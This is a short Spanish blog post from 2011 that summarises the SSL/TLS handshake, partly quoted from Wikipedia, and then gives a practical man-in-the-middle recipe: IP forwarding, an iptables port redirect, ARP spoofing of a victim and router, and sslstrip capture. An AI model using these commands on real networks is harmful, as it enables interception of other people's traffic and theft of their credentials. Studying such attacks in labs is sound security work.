miércoles, 19 de enero de 2011

Man In The Middle y SSLStrip, Teoría, Práctica y Script.



 


En la imagen de arriba se describe el histórico de los pasos que sigue una comunicación SSL entre el cliente y Servidor.

Cuando se inicia la conexión, el nivel de registro encapsula otro protocolo, el protocolo handshake, que tiene el content_type 22.
El cliente envía y recibe varias estructuras handshake:
  • Envía un mensaje ClientHello especificando una lista de conjunto de cifrados, métodos de compresión y la versión del protocolo SSL más alta permitida. Éste también envía bytes aleatorios que serán usados más tarde (llamados Challenge de Cliente o Reto). Además puede incluir el identificador de la sesión.
  • Después, recibe un registro ServerHello, en el que el servidor elige los parámetros de conexión a partir de las opciones ofertadas con anterioridad por el cliente.
  • Cuando los parámetros de la conexión son conocidos, cliente y servidor intercambian certificados (dependiendo de las claves públicas de cifrado seleccionadas). Estos certificados son actualmente X.509, pero hay también un borrador especificando el uso de certificados basados en OpenPGP.
  • El servidor puede requerir un certificado al cliente, para que la conexión sea mutuamente autenticicada.
  • Cliente y servidor negocian una clave secreta (simétrica) común llamada master secret, posiblemente usando el resultado de un intercambio Diffie-Hellman, o simplemente cifrando una clave secreta con una clave pública que es descifrada con la clave privada de cada uno. Todos los datos de claves restantes son derivados a partir de este master secret (y los valores aleatorios generados en el cliente y el servidor), que son pasados a través una función pseudoaleatoria cuidadosamente elegida. [...]
Extraido: Sigue leyendo sobre SSL y TLS en  Wikipedia 



    El objetivo del ataque es interceptar dicha comunicación, enrutarla y capturar su contenido.

    Habilitamos el bit de forwarding.
    echo 1 > /proc/sys/net/ipv4/ip_forward

    Modificamos IPTables para el enrutamiento.
    iptables -t nat -A PREROUTING -p tcp --destination-p 80 -j REDIRECT --to-p 8080

    Realizamos ARP Spoofing
    arpspoof -i interfaz -t ip_víctima ip_router


    Iniciamos Finalmente SSLStript
    sslstrip -w capturaSSLStrip -a -l 8080

    No hay comentarios:

    Publicar un comentario